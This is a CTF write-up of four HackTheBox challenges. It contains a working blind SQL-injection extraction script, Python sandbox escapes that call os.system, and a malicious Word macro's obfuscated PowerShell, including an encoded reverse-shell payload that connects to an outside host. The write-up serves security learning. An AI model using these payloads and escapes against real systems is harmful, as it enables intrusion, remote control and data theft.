HackTheBox Cyber Apocalypse CTF 2021
Over the course of a couple of days, from 19 April - 23 April 2021 HackTheBox asked the community to help defend the Earth. Naturally we rose to the occasion and tried to help as best as we could.
While the team I participated with (QPZCOCETAL) as well as myself managed to solve a decent amount of challenges, I don’t want to write about all of them, but instead only about a select very few that I enjoyed the most and want to share my thoughts on.
Web - Emoji Voting
Description: A place to vote your favourite and least favourite puny human emojis!
We are presented with a website that allows us to vote on emojis as well as the source code to the application.
Looking at it, we can quickly see that one of the two SQL queries isn’t using prepared statements, but is instead vulnerable to SQL Injection.
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
console.log("query: [" + query + "]");
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
We are however only able to control a part of the query that is inside the ORDER BY
part, limiting our ability in what we can inject. I first tried sqlmap and while it was able to find an injection it was (at least in my case) doing that really inefficiently via a time-based approach and even against my local Docker instance it took a few minutes to get any information. So I went for a manual approach and chose to append another LIMIT
statement after it which I can then in turn use to check single, boolean questions about the database. Since we have the source code we know that the flag is in a table named flag_$RANDOM
and is of the format as all others CHTB{flag}
. So we first need to find the table name and can then extract the flag itself:
#!/usr/bin/env python3
import requests
import string
TARGET = 'http://127.0.0.1:1337/api/list'
table_name = 'flag_'
flag = 'CHTB{'
alphabet_table = string.hexdigits
alphabet_flag = string.ascii_lowercase + string.digits + '_}' + string.ascii_uppercase + string.punctuation
while len(table_name) < 15:
for test in alphabet_table:
query = f"count limit case when (select substr(tbl_name,{len(table_name)+1},1) from sqlite_master where tbl_name like '{table_name}%')='{test}' then 1 else 0 end"
data = {"order": query}
r = requests.post(TARGET, json=data)
if len(r.text) > 2:
table_name += test
print(f"Found next char, tbl_name = {table_name}")
break
while flag[-1] != '}':
for test in alphabet_flag:
query = f"count limit case when (select substr(flag,{len(flag)+1},1) from {table_name})='{test}' then 1 else 0 end"
data = {"order": query}
r = requests.post(TARGET, json=data)
if len(r.text) > 2:
flag += test
print(f"Found next char, flag = {flag}")
break
Running that produces the flag quickly:
Found next char, tbl_name = flag_b
Found next char, tbl_name = flag_b6
Found next char, tbl_name = flag_b64
Found next char, tbl_name = flag_b641
Found next char, tbl_name = flag_b641d
Found next char, tbl_name = flag_b641da
Found next char, tbl_name = flag_b641da1
Found next char, tbl_name = flag_b641da13
Found next char, tbl_name = flag_b641da133
Found next char, tbl_name = flag_b641da133e
Found next char, flag = CHTB{o
Found next char, flag = CHTB{or
Found next char, flag = CHTB{ord
...
Found next char, flag = CHTB{order_me_this_juicy_info}
Misc - Input as a Service
Description: In order to blend with the extraterrestrials, we need to talk and sound like them. Try some phrases in order to check if you can make them believe you are one of them.
This time we only have a port to connect to without additional information. A quick test conversation looks like this:
2.7.18 (default, Apr 20 2020, 19:51:05)
[GCC 9.2.0]
Do you sound like an alien?
>>>
1+2
invalid
3
Traceback (most recent call last):
File "/app/input_as_a_service.py", line 16, in <module>
main()
File "/app/input_as_a_service.py", line 12, in main
text = input(' ')
File "<string>", line 1, in <module>
NameError: name 'invalid' is not defined
It looks like we’re in some kind of Python REPL loop. HackTricks has a whole section about escaping from such a Python jail: https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes. Trying some of the first quickly reveals that running a standard __import__('os').system()
works and nothing is filtered. We can use that to read the file flag.txt
in the same folder.
2.7.18 (default, Apr 20 2020, 19:51:05)
[GCC 9.2.0]
Do you sound like an alien?
>>>
__import__("os").system("cat flag.txt")
CHTB{4li3n5_us3_pyth0n2.X?!}
As a bonus here is the challenge file itself:
#!/usr/bin/python2.7
from sys import version
'''
Descr:
In order to blend with the extraterrestrials, we need to talk and sound like them. Try some phrases in order to check if you can make them believe you are one of them.
'''
def main():
print version + '\nDo you sound like an alien?\n>>> \n'
for _ in range(2):
text = input(' ')
print text
if __name__ == "__main__":
main()
Misc - Build yourself in
This challenge ties directly into the one before it, looking very similar at first.
3.8.9 (default, Apr 15 2021, 05:07:04)
[GCC 10.2.1 20201203]
[*] Only 👽 are allowed!
>>> 1+2
>>> invalid
Traceback (most recent call last):
File "/app/build_yourself_in.py", line 16, in <module>
main()
File "/app/build_yourself_in.py", line 13, in main
exec(text, {'__builtins__': None, 'print':print})
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
But if we simply try the same solution:
>>> __import__('os').system('ls')
⛔ No quotes are allowed! ⛔
Exiting..
We can see that quotes are not allowed. We also have a very interesting line from our first try exec(text, {'__builtins__': None, 'print':print})
. That means that all the default Python built-in functions have been disabled and we only have the print
function to work with. So this time we need to put in a lot more effort to get code execution. Going back to HackTricks there is also a section about No Builtins. But we need to avoid everything that has any quotes in it.
First we start by having a look what we can work with. Using the input of print(().__class__.__bases__[0].__subclasses__())
we get back a long list of classes, one of which is os._wrap_close
. That is helpful in getting the os.system()
function. We can reference this class via ().__class__.__bases__[0].__subclasses__()[-4]
. Accessing the property .__init__.globals
gives us an object that holds (among many other things) the function system
. The only problem is that we need to access it with ['sytem']
but we can’t use any quotes. So we need to build our string from stuff we already got. To do that we build a list of characters by going through the class names exposed via our first input. This is the list I ended up with that already includes some characters we’ll need later down the line:
().__class__.__bases__[0].__subclasses__()[6].__name__ # = bytes
().__class__.__bases__[0].__subclasses__()[7].__name__ # = list
().__class__.__bases__[0].__subclasses__()[9].__name__ # = NotImplementedType
().__class__.__bases__[0].__subclasses__()[11].__name__ # = super
().__class__.__bases__[0].__subclasses__()[2].__name__ # = weakcallableproxy
().__class__.__bases__[0].__subclasses__()[1].__name__ # = weakref
().__class__.__bases__[0].__subclasses__()[12].__name__ # = range
().__class__.__bases__[0].__subclasses__()[14].__name__ # = dict_keys
().__class__.__bases__[0].__subclasses__()[2].__name__[2] # = a
().__class__.__bases__[0].__subclasses__()[6].__name__[0] # = b
().__class__.__bases__[0].__subclasses__()[2].__name__[4] # = c
().__class__.__bases__[0].__subclasses__()[14].__name__[0] # = d
().__class__.__bases__[0].__subclasses__()[6].__name__[3] # = e
().__class__.__bases__[0].__subclasses__()[1].__name__[6] # = f
().__class__.__bases__[0].__subclasses__()[12].__name__[3] # = g
().__class__.__bases__[0].__subclasses__()[7].__name__[1] # = i
().__class__.__bases__[0].__subclasses__()[7].__name__[0] # = l
().__class__.__bases__[0].__subclasses__()[9].__name__[4] # = m
().__class__.__bases__[0].__subclasses__()[12].__name__[2] # = n
().__class__.__bases__[0].__subclasses__()[9].__name__[1] # = o
().__class__.__bases__[0].__subclasses__()[11].__name__[2] # = p
().__class__.__bases__[0].__subclasses__()[11].__name__[4] # = r
().__class__.__bases__[0].__subclasses__()[6].__name__[4] # = s
().__class__.__bases__[0].__subclasses__()[6].__name__[2] # = t
().__class__.__bases__[0].__subclasses__()[11].__name__[1] # = u
().__class__.__bases__[0].__subclasses__()[2].__name__[15] # = x
().__class__.__bases__[0].__subclasses__()[6].__name__[1] # = y
().__class__.__bases__[0].__subclasses__()[14].__name__[4] # = _
That allows us to access to system
function and execute the ls
command to see what we’re looking for:
print(().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__[
().__class__.__bases__[0].__subclasses__()[6].__name__[4]+
().__class__.__bases__[0].__subclasses__()[6].__name__[1]+
().__class__.__bases__[0].__subclasses__()[6].__name__[4]+
().__class__.__bases__[0].__subclasses__()[6].__name__[2]+
().__class__.__bases__[0].__subclasses__()[6].__name__[3]+
().__class__.__bases__[0].__subclasses__()[9].__name__[4]](
().__class__.__bases__[0].__subclasses__()[7].__name__[0]+
().__class__.__bases__[0].__subclasses__()[6].__name__[4])) # os.system('ls')
Great, there is a file called flag.txt
. We now need to solve two more problems: To be able to execute cat flag.txt
we need a space character as well as the dot.
The space is actually quite simple. One solution I could come up with is this:
().__class__.__bases__[0].__subclasses__()[0].__name__.center(30)[0] # = space
For the dot I was stumped for quite a while. I initially wanted to use a class like the aforementioned os._wrap_close
, but if we select the name of such a class we only get the last part after the dot. After looking at the __globals__
object again I noticed that there is a propery calls __doc__
which has a lot of text with a lot of characters including a couple of dots. So a single dot can be accessed like so:
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__[
().__class__.__bases__[0].__subclasses__()[14].__name__[4]+
().__class__.__bases__[0].__subclasses__()[14].__name__[4]+
().__class__.__bases__[0].__subclasses__()[14].__name__[0]+
().__class__.__bases__[0].__subclasses__()[9].__name__[1]+
().__class__.__bases__[0].__subclasses__()[2].__name__[4]+
().__class__.__bases__[0].__subclasses__()[14].__name__[4]+
().__class__.__bases__[0].__subclasses__()[14].__name__[4]][61]
With that we have everything we need and can finally read our flag (it’s basically “just” a os.system('cat flag.txt')
):
print(().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__[().__class__.__bases__[0].__subclasses__()[6].__name__[4]+().__class__.__bases__[0].__subclasses__()[6].__name__[1]+().__class__.__bases__[0].__subclasses__()[6].__name__[4]+().__class__.__bases__[0].__subclasses__()[6].__name__[2]+().__class__.__bases__[0].__subclasses__()[6].__name__[3]+().__class__.__bases__[0].__subclasses__()[9].__name__[4]](().__class__.__bases__[0].__subclasses__()[2].__name__[4] + ().__class__.__bases__[0].__subclasses__()[2].__name__[2] + ().__class__.__bases__[0].__subclasses__()[6].__name__[2] + ().__class__.__bases__[0].__subclasses__()[0].__name__.center(30)[0] + ().__class__.__bases__[0].__subclasses__()[1].__name__[6] + ().__class__.__bases__[0].__subclasses__()[7].__name__[0] + ().__class__.__bases__[0].__subclasses__()[2].__name__[2] + ().__class__.__bases__[0].__subclasses__()[12].__name__[3] + ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__[().__class__.__bases__[0].__subclasses__()[14].__name__[4] + ().__class__.__bases__[0].__subclasses__()[14].__name__[4] + ().__class__.__bases__[0].__subclasses__()[14].__name__[0] + ().__class__.__bases__[0].__subclasses__()[9].__name__[1] + ().__class__.__bases__[0].__subclasses__()[2].__name__[4] + ().__class__.__bases__[0].__subclasses__()[14].__name__[4] + ().__class__.__bases__[0].__subclasses__()[14].__name__[4]][61] + ().__class__.__bases__[0].__subclasses__()[6].__name__[2] + ().__class__.__bases__[0].__subclasses__()[2].__name__[15] + ().__class__.__bases__[0].__subclasses__()[6].__name__[2]))
Flag: CHTB{n0_j4il_c4n_h4ndl3_m3!}
As a bonus I went through the trouble of assembling the file name as well to be able to present to challenge file itself:
#!/usr/bin/python3.8
from sys import version
def main():
print(f'{version}\n')
print('[*] Only \U0001F47D are allowed!\n')
for _ in range(2):
text = input('>>> ').lower()
if "'" in text or '"' in text:
print('\U000026D4 No quotes are allowed! \U000026D4\n\nExiting..\n')
break
else:
exec(text, {'__builtins__': None, 'print':print})
if __name__ == "__main__":
main()
Forensics - Inviation
Description: Last night I received an invitation, but after I accepted, some wierd things happend in my computer.
We are presented with a file called invite.docm
(I have uploaded it here, but since there are “harmful” macros inside it is password protected with the password infected
).
The first step is to extract the macros. For that we turn to Didier Stevens and his tools, in this case oledump.py. Running that with python3 oledump.py -s 3 -v invite.docm > macro.vba
allows us to take a closer look. It is a lot of very long strings inputted into a function that is defined near the end and in the end calling the Shell()
function on it.
Private Function odsuozldxufm(ByVal gwndcowqyulk As String) As String
Dim cjzkqjwvtdxr As Long
For cjzkqjwvtdxr = 1 To Len(gwndcowqyulk) Step 2
odsuozldxufm = odsuozldxufm & Chr$(Val("&H" & Mid$(gwndcowqyulk, cjzkqjwvtdxr, 2)))
Next cjzkqjwvtdxr
End Function
Even without a lot of Visual Basic skills we can either deduce from the input what is likely happening or we have a look at the function to realize that it’s nothing more than hex decoding the strings. With a bit of command line kung-fu we can also achieve the same:
cat macro.vba | grep -Po '"[0-9a-f]*"' | head -n -4 | tr -d '"\n' | xxd -r -p | base64 -d
It is a powershell script. Immediately attention is drawn to the first few lines:
. ( $PshomE[4]+$pshoMe[30]+'x') ( [strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} )) )
$payloadBase64 = "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADYALgAyADMAMwAzAC4ANQA0AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==";
SEt ("G8"+"h") ( " ) )63]Rahc[,'raZ'EcalPeR- 43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[( eCAlpERc- )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . " ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue.LengtH)] | IeX
While the payload
would definitely be relevant in a real world scenario, in our case we need to focus on the lines above and below it to get the flag. Let’s dissect those lines further.
Line 1
Carefully looking at it and trying parts of it in an isolated PowerShell session shows us that the first part ( $PshomE[4]+$pshoMe[30]+'x')
is an obfuscated version of IEX
, short for Invoke-Expression
, used to execute other code. So we remove that and only run the rest:
[strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} ))
=> ('iqwreg'+'p ='+' jXtCH'+'T'+'B{'+'maldocs_arej'+'Xt;').REPLACe('iqw','$').REPLACe('jXt',[sTRInG][chAR]34) |&( $sheLLiD[1]+$sHeLlID[13]+'x')
This time the last part is an obfuscation of IEX
, so we omit that and run the rest:
('iqwreg'+'p ='+' jXtCH'+'T'+'B{'+'maldocs_arej'+'Xt;').REPLACe('iqw','$').REPLACe('jXt',[sTRInG][chAR]34)
=> $regp = "CHTB{maldocs_are";
That is the first part of our flag.
Line 2
It’s basically the same game of carefully removing the IEX
parts and running the rest:
SEt ("G8"+"h") ( " ) )63]Rahc[,'raZ'EcalPeR- 43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[( eCAlpERc- )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . " ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue.LengtH)]
=> . ( $vERBOsEpReFereNcE.toSTriNG()[1,3]+'x'-jOin'') ( (('Za'+'rreg'+'n = 1N2_'+'the_n'+'ew_meta}'+'1'+'N'+'2;') -cREplACe ([chaR]49+[chaR]78+[chaR]50),[chaR]34 -RePlacE'Zar',[chaR]36) )
(('Za'+'rreg'+'n = 1N2_'+'the_n'+'ew_meta}'+'1'+'N'+'2;') -cREplACe ([chaR]49+[chaR]78+[chaR]50),[chaR]34 -RePlacE'Zar',[chaR]36)
=> $regn = "_the_new_meta}";
We now have the complete flag CHTB{maldocs_are_the_new_meta}
.